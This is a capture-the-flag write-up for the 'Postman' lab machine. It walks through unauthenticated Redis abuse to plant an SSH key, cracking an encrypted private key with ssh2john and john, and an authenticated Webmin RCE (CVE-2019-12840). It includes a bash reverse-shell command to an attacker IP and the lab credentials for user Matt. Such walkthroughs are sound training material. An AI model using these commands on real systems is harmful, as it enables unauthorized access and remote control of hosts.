PRIMARY CATEGORY → EASY

Summary

  • Enumerating Redis using Redis-cli
  • Remote SSH Authentication via File Upload on Redis
  • PE: SSH Private Key Disclosure
  • Extracting a Crackable Hash from an RSA Private Key with SSH2John
  • Cracking hashes using Hashcat
  • Authenticated RCE on Webmin leveraging the Software Package Update feature

Zoom in


Setup

Directory creation with the Machine’s Name

mkdir Postman && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.2.1

As mentioned, according to the TTL, It seems that It is a Linux Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG Postman.allPorts 10.129.2.1 

Open Ports →

22, 80, 6379 and 10000
Comprehensive Scan

We can apply a little filter to the Postman.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\s\d{1,5}(?=/open)' Postman.allPorts | xargs | sed 's@\s@,@g' ) -sCV -v -n -Pn --disable-arp-ping -oN Postman.targeted 10.129.2.1
80 - HTTP

Let’s start with the HTTP ports. It seems we have a web application hosted on port 80

We can enumerate the technologies running behind this web application with both whatweb and wappalyzer

whatweb 'http://10.129.2.1'

But there is nothing interesting

We move on to the browser in order to inspect the website and we get the following content

Zoom in

It appears that it has no functionality. We get nothing either if we inspect the source code looking for any sensitive comments

Zoom in

Let’s fuzz to discover some directories first

ffuf -v -t 200 -w /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://10.129.2.1/FUZZ'

We can inspect them one by one but we will not find anything

Before digging deeper, let’s move on to the other web application hosted on port 10000

10000 - HTTP

This time, we can directly access the website using the browser to check Wappalyzer

And we are warned to access another URL protected by a TLS Certificate, which appears to be self-signed

Once we accept the risk and continue, we find a Webmin Panel prompting for authentication

Zoom in

We can try to log in with default credentials or something like webmin:webmin, admin:admin and so on, but none are valid

Take into account that system users can normally log in to Webmin, so we should think about Webmin when we obtain valid credentials

If we inspect the source code of the login page, we won´t get anything interesting either such as the source code to search for vulnerabilites for the given version

We can get its version once we access the panel as an authenticated user. As long as I know, there is no resource that we can request without being authenticated to list the current webmin version

It does not make much sense to start fuzzing either. So, let’s move on to the next port

6379 - REDIS

And we have a REDIS server, which does not require authentication by default, so we can access the information stored in it

First, we can start by listing the existing KEYSPACES with the INFO command. We will get the location of the redis configuration file as well

redis-cli -h 10.129.2.1
> INFO

But there is no KEYSPACE, therefore there is no relevant information apart from the current working directory and the location of the configuration file

Here we have the latter →

config_file:/etc/redis/redis.conf

Regarding the former, we can gather it as follows →

redis-cli -h 10.129.2.1 CONFIG GET DIR

As we do not know the server-side language programming that the web application running on port 80 is using, it does not make much sense to try to upload a web shell through redis

However, there is an interesting exploitation technique on redis related to uploading an SSH public key as an authorized_keys file to the <WORKING_DIRECTORY>/.ssh directory

We could try it to see if it works, so let’s go for it


Exploitation

”File Upload” on Redis allows remote authentication via SSH

As mentioned, the first step is to create an SSH Public-Private Key Pair

ssh-keygen -t rsa -b 4096 -f redis

Next, we will create a file with the content of the public key preceded and followed by two line breaks and import the file into redis by creating a new KEYSPACE

printf "\n\n%s\n\n" "$(< redis.pub )" > foo.txt
cat foo.txt | redis-cli -h '10.129.2.1' -x set ssh_key

Then, we set the working directory to /var/lib/redis/.ssh and save the uploaded public key as authorized_keys

redis-cli -h '10.129.2.1'
> config set dir /var/lib/redis/.ssh
> config set dbfilename "authorized_keys"
> save

Shell as System User

After that, all that remains is to connect to the server as the redis user via SSH by providing the private key during the authentication

ssh -i redis redis@10.129.2.1

Perform the following actions to have a fully interactive terminal

export TERM=xterm-256color # Allow actions such as C-l and Colored Terminal
. /etc/skel/.bashrc

Privesc #1

Initial Non-Privileged User → Redis

Disclosure and Cracking of SSH-Protected Private Key

As always, we can start by listing the sudo privileges

sudo -l

But we are prompted for a password which we do not have…

The current user does not belong to any interesting group either

id

We can look for readable files within the home directory

find /home/ -readable -type f 2> /dev/null -ls

We can only access the Matt’s home directory, but there are no interesting files

Regarding the services running in the target, let’s check the TCP ports listening locally

netstat -vlntp

But there is no port that is not accesible externally

It would be interesting to check some system directories such as /opt, /var/backup, /var/www/ and so on

If we list the content of the /opt directory, we find a copy of an protected SSH private key

find /opt -type f -ls

As mentioned, this private key is symmetrically encrypted with a passphrase. However, we can generate a crackable hash from it by running a tool such as ssh2john

ssh2john id_rsa.bak > id_rsa.hash

Then, we will try to crack the above hash to get the passphrase and log in to the target remotely via SSH with the obtained private key

Since the only user we have seen is Matt, we will try to log in as Matt. We can check the /etc/passwd file as well to see which users have a shell assigned

grep sh\$ /etc/passwd

Based on the above output, it is almost certainly the private key for the user Matt

Let’s start with the cracking process

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

We get an error if we try to log in to the system via SSH as Matt

ssh -p22 -i id_rsa.bak Matt@10.129.2.1

This occurs due to certain restrictions that have been implemented within the SSH configuration file, namely the DenyUsers directive

grep -i -- DenyUsers /etc/ssh/sshd_config 

However, we can check if there is a password reuse and this password is being used by the Matt user locally

su - Matt

And it is!

Privesc #2

Initial Non-Privileged User → Matt

Authenticated RCE on Webmin through the Software Package Update

As stated, system users can normally log in to the Webmin Panel, so we can do the same with the user Matt

Zoom in

And we have log in succesfully 😊. Once inside, we can check the Webmin Version on the Dashboard section and search for any vulnerability the given version

Zoom in

searchsploit webmin 1.910

There is an RCE for that version, it appears to be authenticated as there is a function that handles the authentication process

This vulnerability corresponds to the CVE-2019-12840

It basically consists of sending a specific string contaning any system command through a POST request to the /package-updates/update.cgi?xnavigation=1 URL

Therefore, we can look for any PoC on github.com and replicate its steps or execute it directly

Let’s download it and run it. But first, we must set a TCP listener to receive the incoming shell

nc -nlvp 4444
curl --silent --location --request GET "" --output exploit.py
python3 -m venv .venv
. !$/bin/activate
pip3 install -r requirements.txt
python3 exploit.py -u 'https://10.129.2.1' --port 10000 --user='Matt' --password='computer2008' --cmd='bash -i &> /dev/tcp/10.10.15.174/4444 0>&1'

And we received a shell as root!

whoami

From there, all that remains is to grab the root.txt flag 😊

cat ~/root.txt